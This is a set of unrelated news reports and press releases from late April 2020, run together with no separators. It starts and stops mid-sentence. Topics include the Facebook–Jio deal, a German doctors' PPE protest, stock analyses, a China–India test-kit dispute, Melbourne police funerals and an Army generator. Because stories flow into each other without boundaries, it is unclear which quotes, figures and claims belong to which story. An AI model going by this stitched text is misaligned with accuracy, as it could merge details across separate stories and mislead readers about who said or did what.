4.62 lakh crore pre-money enterprise value ($65.95 billion, assuming a conversion rate of Rs 70 to a US Dollar). Facebooks investment will translate into a 9.99 percent equity stake in Jio Platforms on a fully diluted basis," company said in its BSE filing. The country's most valued listed company on April 30 will also consider and approve the standalone and consolidated audited financial results for the quarter/year ended March 31, 2020; and recommend dividend on equity shares. (Reliance Industries Ltd. is the sole beneficiary of Independent Media Trust which controls Network18 Media & Investments Ltd.) : The views and investment tips expressed by investment expert on Moneycontrol.com are his own and not that of the website or its management. Moneycontrol.com advises users to check with certified experts before taking any investment decisions. A group of German doctors has stripped naked in a series of photos to show how vulnerable they feel without adequate protective equipment on the front lines of the coronavirus pandemic. The group calls its protest Blanke Bedenken, which translates as naked concerns, saying shortages of protective clothing and equipment are putting their lives at risk. We are your general practitioners. To treat you safely, we need protective equipment. If we run out of what little we have, we look like this, one of the groups tweets said next to a naked photo of a male physician. On its site the group, which was launched on Thursday and has since garnered growing attention online, has featured more photos of doctors posing in their medical practices, some wearing nothing but a stethoscope, hiding their private parts behind medical equipment, paperwork and toilet rolls. In one of the photos a doctor holds up a sign that reads in German, I learned to sew wounds. Why do I now need to know how to sew masks? Like in many other countries around the continent, German health workers have appealed for more personal protective equipment, or PPE, since the beginning of the crisis that has so far claimed the lives of 5,750 people in the country. Image: A naked protest by German GPs because of lack of PPE during the covi=d 19 outbreak. (blankebedenken) The equipment, which includes face masks, goggles, gloves and protective clothing, is essential to prevent exposure during treatment of coronavirus patients. The worldwide shortage has left many medical workers feeling unprotected. On its website, Blanke Bedenken says its members were inspired by Alain Colombie, a family doctor in Pomerols, France, who posed naked in his practice to draw attention to insufficient protection for general practitioners. In the photos, Colombie wore an armband with the words "cannon fodder" on it to highlight the problem. Download the NBC News app for full coverage of the coronavirus outbreak In an email sent to NBC News on Tuesday, a spokeperson for Blanke Bedenken said it could not immediately answer a request for comment. It is not known how many doctors have taken part in their initiative. Story continues German health officials did not immediately respond to a request for comment on the group's campaign. The German health ministry announced earlier this month that PPE would be increasingly produced domestically. So far, millions of face masks and other protective gear had to be flown in from abroad, much of it from China. KBV, an organization representing about 165,000 doctors and psychotherapists within Germanys compulsory health insurance scheme, has worked with the ministry to distribute hundreds of thousands of pieces of protective equipment to medical offices. Spokesman Roland Stahl told NBC News Tuesday deliveries have increased in recent weeks. The situation appears to be improving but we continue to need equipment, Stahl said. Its not as bad as it was a few weeks ago. [April 28, 2020] Calix Releases First Quarter 2020 Financial Results Calix (News - Alert), Inc. (NYSE: CALX) today announced unaudited financial results for its first quarter 2020 have been posted as a letter to stockholders to the investor relations section of its website. Please visit the Calix investor relations website at https://investor-relations.calix.com to view the first quarter 2020 financial results in our letter to stockholders, along with accompanying supplemental financial information. A question and answer conference call to discuss these results with President and CEO, Carl Russo, CFO, Cory Sindelar, and Director of Investor Relations, Tom Dinges, will be held tomorrow, April 29, 2020 at 5:30 a.m. Pacific Time (8:30 a.m. Eastern Time). Interested parties can listen to a live webcast of the conference call by visiting the Calix Investor Relations website at http://investor-relations.calix.com/. The conference call is also available via teleconference by dialing (877) 407-4019 or international (201) 689-8337 with conference ID# 13700551 or participants can also click this link for instant telephone access to the event. The link will become active approximately 15 minutes prior to the start of the conference call. The conference call and webcast will include forward-looking information. A replay of the conference call will also be available at http://investor-relations.calix.com/ following the completion of the call. The call will be archived at http://investor-relations.calix.com/. About Calix Calix, Inc. (NYSE: CALX) - Innovative communications service providers rely on Calix platforms to help them master and monetize the complex infrastructure between their members and the cloud. Calix is the leading global provider of the cloud and software platforms, systems, and services required to deliver the unified access network and smart premises of tomorrow. Our platforms and services help our customers build next generation networks by embracing a DevOps operating model, optimize the member experience by leveraging big data analytics and turn the complexity of the smart, connected home and business into new revenue streams. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005930/en/ [ Back To TMCnet.com's Homepage ] For many investors, the main point of stock picking is to generate higher returns than the overall market. But in any portfolio, there are likely to be some stocks that fall short of that benchmark. Unfortunately, that's been the case for longer term Telecom Digital Holdings Limited (HKG:6033) shareholders, since the share price is down 45% in the last three years, falling well short of the market decline of around 1.6%. And the ride hasn't got any smoother in recent times over the last year, with the price 27% lower in that time. Shareholders have had an even rougher run lately, with the share price down 21% in the last 90 days. However, one could argue that the price has been influenced by the general market, which is down 9.9% in the same timeframe. View our latest analysis for Telecom Digital Holdings While markets are a powerful pricing mechanism, share prices reflect investor sentiment, not just underlying business performance. One imperfect but simple way to consider how the market perception of a company has shifted is to compare the change in the earnings per share (EPS) with the share price movement. During the unfortunate three years of share price decline, Telecom Digital Holdings actually saw its earnings per share (EPS) improve by 5.2% per year. Given the share price reaction, one might suspect that EPS is not a good guide to the business performance during the period (perhaps due to a one-off loss or gain). Or else the company was over-hyped in the past, and so its growth has disappointed. It's worth taking a look at other metrics, because the EPS growth doesn't seem to match with the falling share price. We note that the dividend seems healthy enough, so that probably doesn't explain the share price drop. Revenue has been pretty flat over three years, so that isn't an obvious reason shareholders would sell. So it might be worth looking at how revenue growth over time, in greater detail. Story continues You can see how earnings and revenue have changed over time in the image below (click on the chart to see the exact values). SEHK:6033 Income Statement April 28th 2020 We consider it positive that insiders have made significant purchases in the last year. Having said that, most people consider earnings and revenue growth trends to be a more meaningful guide to the business. It might be well worthwhile taking a look at our free report on Telecom Digital Holdings's earnings, revenue and cash flow. What About Dividends? When looking at investment returns, it is important to consider the difference between total shareholder return (TSR) and share price return. The TSR incorporates the value of any spin-offs or discounted capital raisings, along with any dividends, based on the assumption that the dividends are reinvested. So for companies that pay a generous dividend, the TSR is often a lot higher than the share price return. We note that for Telecom Digital Holdings the TSR over the last 3 years was -32%, which is better than the share price return mentioned above. This is largely a result of its dividend payments! A Different Perspective We regret to report that Telecom Digital Holdings shareholders are down 22% for the year (even including dividends) . Unfortunately, that's worse than the broader market decline of 14%. Having said that, it's inevitable that some stocks will be oversold in a falling market. The key is to keep your eyes on the fundamental developments. On the bright side, long term shareholders have made money, with a gain of 4.7% per year over half a decade. It could be that the recent sell-off is an opportunity, so it may be worth checking the fundamental data for signs of a long term growth trend. While it is well worth considering the different impacts that market conditions can have on the share price, there are other factors that are even more important. Case in point: We've spotted 3 warning signs for Telecom Digital Holdings you should be aware of. Telecom Digital Holdings is not the only stock insiders are buying. So take a peek at this free list of growing companies with insider buying. Please note, the market returns quoted in this article reflect the market weighted average returns of stocks that currently trade on HK exchanges. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. Tim Keller: Churches will be challenged to 'do more with less' in aftermath of COVID-19 Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment In the aftermath of COVID-19, churches nationwide will need to learn how to do more with less and sacrifice programs and other luxuries to help those in need, pastor and author Tim Keller has said. During a recent interview with Gabe Lyons at the annual Q 2020 Virtual Summit, Keller, the 69-year-old retired pastor of Redeemer Presbyterian Church in New York City, said the coronavirus pandemic is more like 9/11 than unlike," as the two tragedies were unprecedented and resulted in multidimensional damage, both social and economic. Christian institutions are going to be faced with needing to do more with less, he predicted, explaining that after 9/11 Redeemer Church had 25 percent more people and 25 percent less income. The number of people and the needs massively expanded, [but] because people lost their jobs and left the city and all that, income was having a huge shortfall, he said. Its exactly the same thing [now]: All the churches I know are saying, We have to do more with less. We have far more needs and we have less resources to do it. And so it means not only a new approach to stewardship but also thinking about what you spend your money on. Keller, who serves as the chairman of Redeemer City to City, which has helped start more than 500 churches in dozens of the most influential cities in the world, said that between the lockdown and a COVID-19 vaccine becoming available, theres going to be an interim period. I don't know what it looks like, he admitted. All I can tell you is, it'll take two things: It will take innovative thinking ... there's got to be more networking and talking. The second thing is, you always lead through sacrifice, Keller continued. The church in general is going to have to spend more or less money on itself that is, its own programs and more money on the people of need. And the only way to do that is to cut things that you're doing right now. Does it mean sacrificing part of your salary as a way of making sure that you're able to meet needs in your community? I don't know, he continued. But leadership happens through innovation and sacrifice, always. And we're going to have to do both of these in the next year or two. New York is the epicenter of the countrys COVID-19 outbreak, with the overall death toll standing at 12,067 and 158,000 confirmed cases as of Monday afternoon. A statewide Siena College survey released Monday found that 46 percent of city's residents known someone who has died of complications from COVID-19, as do 36 percent of suburbanites and 13 percent of upstaters. In all, about one-third of voters statewide know someone who has died. Additionally, the economic toll also has been devastating, with 32 percent of respondents saying they or someone in their households has been laid off because of the pandemic. Keller said the virus has rattled human pride and caused people to become anxious, adding that every time a tragedy has occurred in NYC, there are about 10 or 20 percent more people willing to listen to a Gospel presentation. That's all. It's temporary, it goes away, frankly, with good times, he said. But you actually do have about 10 or 20 percent more ears, and you just really need to be more confident to get out there and say things, you really should. There are people at Redeemer right now that became Christians right after 911 because they showed up in church because they were scared, and they just felt like they needed a connection, Keller added. Still, the speaker and author said he isnt optimistic about culture permanently changing as a result of the virus, stressing that Christians will still need to find new ways of formulating Christian truth in a way that both connects to the culture but doesn't compromise with it. In a previous interview with The Christian Post, Keller said the coronavirus is doing what 9/11 did to the state: presenting a unique opportunity for Christians to serve as a beacon of hope amid darkness. At the national level, I dont have much hope, he admitted. Politicians are trying to pin the other side with the blame for the virus and its discouraging. Theyre trying to score points so that when the pandemic begins to ease, they look good. But at the local level, thats probably not going to happen. Everyone is going to say, OK, how do we deal with the devastation in our communities? And thats where I think, if Christians are willing to get out there and be Good Samaritans and say, How do we work with people of different races and religions and just try to love them and how can we join hands? we will have less polarization and a real opportunity to witness. Should we buy shares of a company known for its forest products when we appear to be nearing a recession, if we're not already in one, and home building is likely to slow? UFP Industries Inc. (NASDAQ:UFPI) might be a case where we consider the idea since it has some attractive features and is available at a discounted price. It can be found on the Undervalued Predictable list at GuruFocus because of its earnings power and its current price. First, though, the company changed its name at the beginning of the year, from Universal Forest Products Inc. to UFP Industries Inc., after a significant internal reorganization. CEO Matthew Missad explained the company no longer deals in just forest products or wood. "Over the years, we have evolved from a lumber wholesaler to a mixed materials manufacturer and solutions provider serving thousands of business customers," he said. In the new configuration, the 10-K for 2019 described its business this way: "UFP Industries is a holding company whose subsidiaries supply wood, wood composite and other products to three robust markets: retail, construction and industrial. Founded in 1955, the company is headquartered in Grand Rapids, Mich., with affiliates throughout North America, Europe, Asia and Australia." In other words, the company has multiple revenue sources, including Home Depot (NYSE:HD), which represented 19% of sales in 2019. The construction segment is highly cyclical according to its 10-K, and investors are expecting it to take a hit from the Covid-19 crisis, as shown in this 10-year chart: GuruFocus UFP Industries price chart As we will see below, that sharp drawback was an overreaction because much of the company will continue to operate during lockdowns. Note the growth over the past decade, albeit in bumpy fashion as the stock price increased from less than $10 to more than $50, while also paying a modest dividend. One of the reasons for that growth was acquisitions, with the company reporting in its 10-K: "Acquisition growth is one of the primary contributing factors to material increases over the period from 2015 to 2019." It bought three businesses in 2019 and seven in 2018. Story continues Analysis For a focused look at UFP's fundamentals, we will apply the criteria of the Macpherson model, a set of initial screening tests used by Thomas Macpherson of Nintai Investments. The model is made up of tests for a competitive advantage (moat), financial stability, profitability and valuation. Moat To determine whether a company has a competitive advantage that will protect its margins and earnings, we look for 10-year medians of at least 15% for return on capital and return on tangible equity. While UFP is getting close to the mark for ROC at 14.4%, it is coming up from a low of less than 2.5% in 2012. The trajectory is promising, but it will need some years to get to a median of 15%. GuruFocus reported that UFP's median ROTE over the past 10 years was 13.48%, again below the 15% set in the model. In summary, the company may not yet have a fully sustainable competitive advantage. Financial strength As a test of a company's financial strength, the model calls for a minimum cash-to-debt ratio of 100 and a GuruFocus rating of at least 9 out of 10. UFP makes it on neither count, though it does come close on the rating, which is 8 out of 10. On the cash-to-debt ratio, it is 0.31, which is obviously far below 100. Regardless of the score, the company is in no danger given that its interest coverage ratio is 29.43. Profitability The company does well on its profitability rating, although not quite up to the standard of 9 out of 10 in the Macpherson model. Once again, it falls just short with a rating of 8 out of 10. Further, we note that the margins are both in the mid-single digits (operating margin 5.78% and net margin 4.16%). An orange bar next to the operating margin indicates it is slightly lagging its peers, while a green bar in the History column shows it is doing well in comparison to its own history. Valuation In this category, we are looking for a company selling at a discount to its intrinsic value, so there is a margin of safety. That margin should be large enough to protect against the unexpected and our own errors. That appears to be the case for UFP, which has a fair or intrinsic value of $84.84, while its share price is $41.09. This provides a 51.57% margin of safety based on the default settings of the GuruFocus discounted cash flow calculator. Overall, the Macpherson model tells us UFP does not have a competitive moat, it is reasonably strong financially, it is profitable but not up to the model standard and has a good margin of safety. Ownership At the end of fourth-quarter 2019, eight of the investing gurus had a stake in UFP. Jeremy Grantham (Trades, Portfolio) of GMO had the largest holding with 363,611 shares. The second and third-largest positions belonged to Pioneer Investments (Trades, Portfolio) and Jim Simons (Trades, Portfolio)' Renaissance Technologies. And the gurus were doing a lot more buying than selling until the end of January this year: GuruFocus UFP Industries guru buying and selling The stock also was popular among institutional investors and insiders. The managers who run pension, mutual and hedge funds owned 63.27% of outstanding shares, while insiders owned 2.65%. Response to Covid-19 UFP reported on March 26 that much of its work continues as usual, though some employees are working from home and new safety guidelines are in place. The "vast majority" of its employees have been deemed essential critical infrastructure workers because the company serves essential businesses, including health care manufacturers, food suppliers and infrastructure contractors. Those not serving critical sectors have been given temporary furloughs. Financially, it feels comfortable with its situation, as it wrote: "In terms of existing capital availability, UFP Industries has a strong balance sheet with ample funding accessible under revolving lines of credit, which provide sufficient liquidity for expected capital needs. Total net debt at present is $123 million, with no significant debt maturing until 2022. The company is also closely managing working capital to maintain its strong balance sheet." Conclusion Management at UFP Industries made a good decision a few years ago when it broadened its scope to include non-wood products. That has given it a good buffer to help get it through the Covid-19 crisis, and perhaps a slowed economy. It's a company with a good business model and its stock is currently selling at a significant discount. Up until recently, gurus were buying more its stock than they were selling. At the same time, though, it does not make the top tier in terms of competitive advantage, financial strength and profitability. Thus, it may be worth watching, but, according to the numbers, there are more attractive stocks available at discounted prices. Disclosure: This article is only an introduction to the company and investors must do their own due diligence. I do not own shares in it and do not expect to buy any in the next 72 hours. Read more here: Ryanair Holdings: Surprising Positives, but Also Serious Concerns CP Rail: A 5-Star Stock at a Bargain Price Lennox International: Undervalued, but Will It Still Be Predictable? Not a Premium Member of GuruFocus? Sign up for a free 7-day trial here. This article first appeared on GuruFocus. One of the leading Agrochemical companies, Chemico Limited has supported the Covid-19 fight with GH150,000. The company presented a sum of GH50,000 to the Noguchi Memorial Institute for Medical Research (NMIMR) towards its research activities and GH100,000 to the Covid-19 National Trust Fund to support governments effort in curbing the spread of the coronavirus. The donation, according to Chemico Limited is to support all stakeholders involved in the Covid-19 fight and most importantly considering how crucial we all need to work together to help minimize the negative impact of the pandemic on economic activities. Receiving the donation, the Chairperson of the Fund, Madam Sophia Akuffo, commended the company for their kind gesture and promised all funds will be put to good use beginning with the most vulnerable. The Executive Secretary of Chemico Limited, Mrs. Mary Degollo accompanied by Mr. Emmanuel Sengretsi, Chief Accountant and HR Manager were present at the Noguchi Memorial Institute for Medical Research last Friday to hand over the cheque to the Institute. Prof. Abraham Annan, Director of the Centre who received the donation on behalf of the facility underscored the importance of the support, observing that, for Ghana to get remedy for the threat posed by Covid-19, a lot of testing/screening needs to be done for early detection to prevent the spread from one infected person to another. This will go a long way for us to ensure we do our mandate well," he said. On her part, Mrs. Mary Degollo, the Executive Secretary, Chemico Ltd. on behalf of the company commended the Noguchi Memorial Institute for Medical Research for their pivotal role in the Covid-19 fight and expressed the hope the donation will go a long way to support their mandate of testing and early detection of the Coronavirus to augment Governments effort in putting in the appropriate measures to fight the pandemic. In a solidarity message to Ghanaians on the Covid-19 pandemic, the Director of Sales and Marketing-Chemico Ltd, Mr. Prince Agyemang-Yeboah urged everyone to stand resolute together and follow protocols outlined by His Excellency the President of the Republic and his team of health experts by washing our hands regularly with soap under running water, using alcohol based hand sanitizers, wearing face masks and if possible stay at home to prevent the spread. We should do this with the hope that with God all things are possible and we will get through this difficult time, he said and commended efforts of Government and various stakeholders including the frontline health workers for their heroic role. Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video China on Tuesday expressed concern about the Indian Council of Medical Researchs decision to stop using rapid antibody testing kits made by two Chinese firms, saying their products meet quality standards and are exported to many other countries. The quality of medical products exported from China is prioritised. It is unfair and irresponsible for certain individuals to label Chinese products as faulty and look at issues with pre-emptive prejudice, Chinese embassy spokesperson Ji Rong said in a statement . The statement came a day after ICMR, which plays a key role in advising authorities engaged in the fight against Covid-19, said state governments should stop using rapid antibody testing kits from Guangzhou Wondfo Biotech and Zhuhai Livzon Diagnostics after several states found huge variations in the results, and after its own field assessment exercise. Ji said: We are deeply concerned with the evaluation results and the decision made by ICMR. Both Wondfo and Livzon, she said, have clarified that their testing kits had been certified by Chinas National Medical Products Administration, meet the quality standards of China and importing countries, and have also been validated and approved by ICMR through the National Institute of Virology (NIV). The Covid-19 antibody rapid test kits produced by these two Chinese companies have been exported to and well recognised in many countries in Europe, Asia and Latin America, she added. Ji further said Beijing hopes New Delhi could respect Chinas goodwill and sincerity, strengthen communication timely with relevant Chinese companies based on facts, and resolve [the matter] reasonably and properly. She said there are strict requirements for the storage, transportation and use of rapid antibody testing kits. Ji described viruses as a common enemy of mankind and said China will continue to support Indias efforts in fighting Covid-19, strengthen medical and health cooperation, and jointly work to overcome difficulties to safeguard the safety of people in both countries. India has placed orders for hundreds of thousands of testing kits and millions of PPE kits with Chinese firms. However, several state governments reported wide variations in the results produced by kits from Wondfo and Livzon. The ICMR stressed in a statement issued on Monday that rapid antibody testing kits should be used only for surveillance, and said it evaluated the kits from Wondfo and Livzon in field conditions. In view of this, states are advised to stop using these kits and return them, the statement added. A separate Indian government statement said orders from the two Chinese firms were cancelled as their kits were underperforming. Wondfo reacted to ICMRs decision by saying it was surprised and disappointed as its one of the first tests to receive an import licence from India, and has been validated and approved by the ICMR through NIV SHARE THIS ARTICLE ON Ukraine not to allow citizens to travel abroad for seasonal works amid COVID-19 pandemic FM Kuleba 14:20, 28.04.20 4528 All efforts of the Ukrainian government are aimed at returning Ukrainians who got stuck in other countries. The first of four police officers killed last week will be farewelled on Thursday by a handfull of friends and family. Leading Senior Constable Lynnette Taylor will be the first officer laid to rest with the funeral of Constable Glen Humphris and Senior Constable Kevin King the following day. All three will take place at the Victorian Police Academy in Glen Waverley and be live-streamed to family, friends and colleagues who cannot attend. Colleagues carry Constable Rodney Millers coffin at the funeral service in 1998. Police lined the road for more than a kilometre to honour him in death Sergeant Gary Silk and Senior Constable Rod Miller were gunned down in Moorabbin in 1998. Police lined the streets for more than a kilometre to farewell them The funeral for Senior Constable Josh Prestney will take place at Xavier College on Monday. Shattered Australians hoping to join in the live stream will be denied access after a request by the families for privacy. The media has also been banned from attending the services and denied access to the live stream. Police media spokeswoman Beck Angel has told media outlets no-one will be talking to them about the services either. 'The families have all confirmed they do not want media to have access to the funeral vision, nor do they want media covering detail from the private funerals,' she said in a statement on Tuesday. 'They have also made it clear they do not wish to be contacted by media before or after the funeral.' Instead, the public may get a chance to see the hearse being driven out of the police academy. Police command has supported the private services and have committed to holding a public memorial as soon as possible. 'We understand and appreciate the public interest following this incident and you can be reassured we will provide media with filming opportunities on the day of each funeral in line with the families wishes,' Ms Angel said. The private services are a far cry from those that have come before it. When a policeman falls in the line of duty, there is little their heartbroken comrades can do but send them off in style. When Sergeant Gary Silk and Senior Constable Rod Miller were gunned down in Moorabbin - southeast of Melbourne - in 1998, police lined and marched the streets in their honour. At Sergeant Silk's service at the Police Academy, then police commissioner Neil Comrie was the first to salute as the coffin passed the Honour Guard of thousands of police that stretched for more than a kilometre. It was a similar scene 10 years earlier when Constables Damian Eyre and Steven Tynan were gunned down in Walsh Street, South Yarra, in 1988. Brave souls dressed in blue carrying their brave mates caskets to their final resting places surrounded by ashen-faced comrades frozen in salute. Last week's fallen officers will receive no such tribute on their final journey to their burial plots. All four were killed when the driver of a refrigerated chicken truck ploughed into the them on Wednesday, killing them all. It has not been lost on Victorian police officers that one of the officers, Senior Constable Taylor, was allegedly afforded little dignity as she clung onto the last minutes of her life. Richard Pusey, 41, allegedly taunted her as she lay dying and crying for help after being hit on the Eastern Freeway. 'All I wanted to do was go home and have my sushi,' he allegedly said as he filmed her on his phone. 'And now you f**ked my f**king car.' Mohinder Singh Bajwa, 47, has been charged with four counts of culpable driving over the deaths. Senior Constable Kevin King (pictured, far left), Constable Glen Humphris (second from left), Leading Senior Constable Lynette Taylor (second from right) and and Constable Josh Prestney (far right) all died in the crash last Wednesday night Victoria Police Commissioner Graham Ashton is keen to take part in the upcoming funeral services for four officers who were killed in the line of duty last week Police march in their thousands behind the hearse carrying the body of Senior Constable Rod Miller in 1998 He added insult to injury on Monday during a courthouse whinge where he complained about his own depression. Police will not be able to right the wrongs of that indignity any time soon. Victoria Police Chief Commissioner Graham Ashton said due to the coronavirus gathering restrictions, the four officers would be farewelled in small gatherings limited to 10 people. 'I don't think all of them (will be held at the Police Academy), but most of them,' he said. In different days, police would have flocked to the Police Academy at Glen Waverley to pay tribute to their colleagues. Instead, those not working will likely be forced to watch the services live on Victoria Police's Facebook page. Like the dedicated members he leads, the chief said he was desperate to attend the funerals himself even in a limited capacity. 'It's been a week like I've never experienced in 40 years of law enforcement,' he said. Mr Ashton said it would depend on the numbers attending whether he could even attend the funerals in person. 'It will just depend on how many family members need to go and stay within the limits. If it's at all possible, I'd like to be there,' he said. 'It may be that I may have to be joining everyone else in terms of watching it on a streaming service or it might be I could attend beforehand to say a few words privately and then leave.' It remains unclear what role the chief will play in the upcoming services. Police officers honour Rodney Miller in 1998. Victoria Police plan to honour four officers killed on Wednesday as soon as COVID-19 restrictions are lifted Floral tributes are seen at a memorial for two Victorian police officers killed in the line of duty 22 years ago. Sergeant Gary Silk and Senior Constable Rod Miller were gunned down in Moorabbin in 1998. Police lined the streets for more than a kilometre to farewell them Mohinder Singh Bajwa (left) is accused of killing the four police officers after crashing his truck into the emergency lane of a Melbourne freeway. Police had just pulled over alleged mongrel Richard Pusey (right) who is accused of filming and taunting a dying police officer Mr Ashton said the dead officers would be honoured in full once the distancing restrictions were lifted. 'We've got to stick at it at the moment. We've got to make sure that we're still doing the right thing so that we don't encounter reinfection rates that make this an even more tragic emergency than it already is,' he said. Mr Ashton said he could not provide a date or a month as to when the formal ceremonies would be held. One thing is for certain, Victoria Police has no intention of allowing the deaths of the four officers to be lost in the minds of Victorians amid the daily chaos. 'One thing I am determined is that it is as soon as we can. I don't want any big delay. As soon as it is possible to do something - significant, meaningful - that people can attend, I intend that we do that,' he said. 'As soon as it's possible, we'll have the plans in place and we'll get the go button, get it done as soon as we can.' Prime Minister Scott Morrison was left on verge of tears last week discussing the strict funeral conditions placed on Australians. 'The one that really tears me up is how many people have had to deal with loved ones who have passed away and have had to go through with funerals with so few people,' he told Sky News. ABERDEEN PROVING GROUND, Md. -- An energy-efficient generator intended to power private residences could power autonomous military vehicles for months, according to Army researchers. A team of scientists and engineers from the U.S. Army Combat Capabilities Development Command's Army Research Laboratory focused on accelerating Army modernization. The tests are part of work began almost two years ago in support of the Department of Energy's Advanced Research Projects Agency-Energy initiative to evaluate the Stirling cycle generator, which is known for its high-efficiency, virtually silent, long life and low emissions. Researchers are looking for multi-fuel capabilities. In addition to fossil fuels, they are developing new technologies to efficiently transform biomass like wood into electricity on-the-go. Justin Shumaker, the lab's lead researcher on the project, said he believes this is the first time a Stirling generator of this scale has been used for propulsion on an autonomous ground vehicle -- a tough task for a generator originally designed to generate electricity and provide heat for homes, he said. "In order for a Stirling engine to operate, there needs to be a temperature difference between the hot and cold ends," Shumaker said. "The cooling loop removes heat from the cold end to keep it cold." The researchers designed and manufactured several new technologies to use this generator for propulsion. The first was a DC-DC power converter that efficiently transforms electrical power from the Stirling generator set to the vehicle's electrical bus. They also modified a Clearpath Robotics warthog, a large all-terrain unmanned ground vehicle capable of traveling on land and in water, leaving only the original chassis and wheels intact. The team then designed a new battery using lithium-titanate cells and a battery management system, which is required to ensure the batteries are safe to use. Shumaker said they also designed a cooling loop for the new equipment. "This all has to be done in a way that integrates well with the vehicle, is reliable, has enough headroom to operate on very hot days and uses very little electricity for the pumps and fans," he said. There are many mechanical, electrical and software elements required to integrate a Stirling generator set into a hybrid electric vehicle for propulsion. "One day, autonomous robots will outperform Soldiers at certain tasks and do so without the requirement of eating, sleeping or resting," Shumaker said. "This has the greatest potential benefit to the Soldier, removing them from harm's way." The Army team was on track to deliver the new technology to ARPAe this spring, but after a statewide stay-at-home order in response to COVID 19 outbreaks, they halted onsite testing. Shumaker said they are now targeting delivery for this fall. "It's more likely to see this generator used as a feasibility study and identify ways to improve it and scale it up," Shumaker said. "What we learn from evaluating this genset will inform ways to improve the genset for a future Army system, whether for propulsion or as a stationary generator." Shumaker said he hopes there will be an opportunity to fund a next-generation version of this technology and "focus on aspects that involve making it lighter and more cost effective because the efficiency is already very good." Shumaker discussed this technology in the What We Learned Today podcast last August with then-laboratory Director Dr. Phillip Perconti, who now serves as the Army's chief scientist and deputy assistant Secretary of the Army for Research and Technology. Other research collaborators include American company Sunpower, Inc.. CCDC Army Research Laboratory is an element of the U.S. Army Combat Capabilities Development Command. As the Army's corporate research laboratory, ARL discovers, innovates and transitions science and technology to ensure dominant strategic land power. Through collaboration across the command's core technical competencies, CCDC leads in the discovery, development and delivery of the technology-based capabilities required to make Soldiers more lethal to win our nation's wars and come home safely. CCDC is a major subordinate command of the U.S. Army Futures Command. ### A Bamboo Airways aircraft. The Civil Aviation Authority of Vietnam has asked Bamboo Airways to quickly report its debts and payment plan for aviation service providers The order was made after the Ministry of Transport asked the authority to handle the requests related to the carriers contract breaches from Airports Corporation of Vietnam (ACV), Vietnam Air Traffic Management Corporation, Saigon Ground Services Company, Hanoi Ground Service JSC and Skypec. Data from ACV indicated that since May last year, Bamboo Airways has repeatedly made late payments. Its payments were 42 days later than the payment dates agreed upon in their contracts. The late payments included fees for passenger services that were collected by the airline. Services such as security and baggage screening were provided by ACV. Specifically, as of March 18, the debt the carrier owed to the corporation totaled VND205 billion, with the overdue debt reaching VND178.7 billion, according to ACV. Of the overdue debt, fees for services supplied by ACV to passengers accounted for some VND107.3 billion. The remaining VND71.3 billion was the costs of ground and airport services provided to the carrier by ACV. ACV has sent 24 notices to the carrier urging it to pay debts promptly, in line with the terms in its signed contracts, but the airline has yet to make any payments, stated the ACV leader. SGT SpendEdge has announced the availability of its latest report on Office Furniture Procurement for pre-order. The report on office furniture procurement is part of a larger series of reports on the global office furniture, fixtures, and fittings market, which includes all spend related to the provision of furniture, fixtures, and fittings for use within office, sales, production, storage, reception, workstation, meeting, training, boardroom, and waiting room areas but does not include spend on office machines or equipment. The dynamics of the global office furniture market play out within this wider arena of office furniture, fixtures, and fittings market. Therefore, our coverage of the office furniture category also operates within this broader boundary of the overall office furniture, fixtures, and fittings market. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200428005350/en/ SpendEdge has announced the availability of its latest report on Office Furniture Procurement for pre-order (Graphic: Business Wire) According to our experts, the category has historically lagged in tech adoption due to the inadequate skill sets of a majority of the workforce and the perennial requirement to reduce facilities-related cost. Therefore, suppliers who have demonstrated technological prowess to achieve efficiencies are being preferred over traditional vendors. A balanced approach to the procurement of office furniture has emerged, where buyers with multiple locations first outsource at individual locations and gradually move to standardize and consolidate the services across facilities. SpendEdge's reports now include a complimentary Covid-19 impact assessment on all reports from the office furniture, fixtures, and fittings category. Our reports are intended to serve as a one-stop reference guide for companies looking for effective office furniture procurement strategies and offer a perfect blend of category basics with deep-dive category data and insights request a free sample today! Office Furniture Procurement Risks The rising labor costs, an irregular evaluation of asset condition, and the improper maintenance of the assets at the facilities increase the costs of facilities management. Also, the poor planning of maintenance and contingency budgeting result in an increase in the budget of the category managers. Procurement without consulting the actual users of office furniture may result in a mismatch in expectations of the buyer's internal stakeholders versus the actual contract executed. Not what you are looking for? SpendEdge now offers custom studies and reports that are suited to the needs of every type and size of organizations across the globe. Request a free demo of our procurement platform and access the complete library of reports for free! Office Furniture Procurement Best Practices Category managers must explore opportunities to integrate planning and management activities of categories using analytics, to gain better control over category spend. This will also allow them to consolidate their supply base easily and segment suppliers based on requirements and spend on each supplier. Buyers should evaluate the true costs of each product and service within the scope of work for the supplier and understand the hidden costs associated. This can help them to set accurate targets for cost reduction for their suppliers and effectively monitor and evaluate their performance against the industry benchmarks. Try our procurement platform for freeto access 9 full reports, custom studies, and over 700 reports for no cost. SpendEdge now offers paid subscriptions starting as low as $250/month. Key Questions Answered in this Office Furniture Procurement Report What is the spend potential in the office furniture market? What is the correct price to pay for office furniture? What are the key trends and factors that influence current and future pricing? Which selection criteria are the most important for office furniture suppliers market? Who are the top office furniture suppliers? What are their cost structures? What are supplier margins in office furniture market? Which negotiation levers can reduce office furniture procurement cost? What are the best practices for office furniture procurement and what are the potential risks? About SpendEdge SpendEdge shares your passion for driving sourcing and procurement excellence. We are the preferred procurement market intelligence partner for 120+ Fortune 500 firms and other companies across numerous industries. Our strength lies in delivering robust, real-time procurement market intelligence reports and solutions. To know more, https://www.spendedge.com/get-more-info View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005350/en/ Contacts: SpendEdge Anirban Choudhury Marketing Manager US: +1 630 984 7340 UK: +44 148 459 9299 https://www.spendedge.com/contact-us While the Mohawk Valley saw no snow at all, Cherry Valley was buried with heavy wet snow. Their snowfall totals were around a foot and a half. Cars were also covered in this heavy snow in Cherry Valley. Many residents had to dig their way out of their driveways, but they are used to it. One Cherry Valley resident, Mrs. Elisabeth 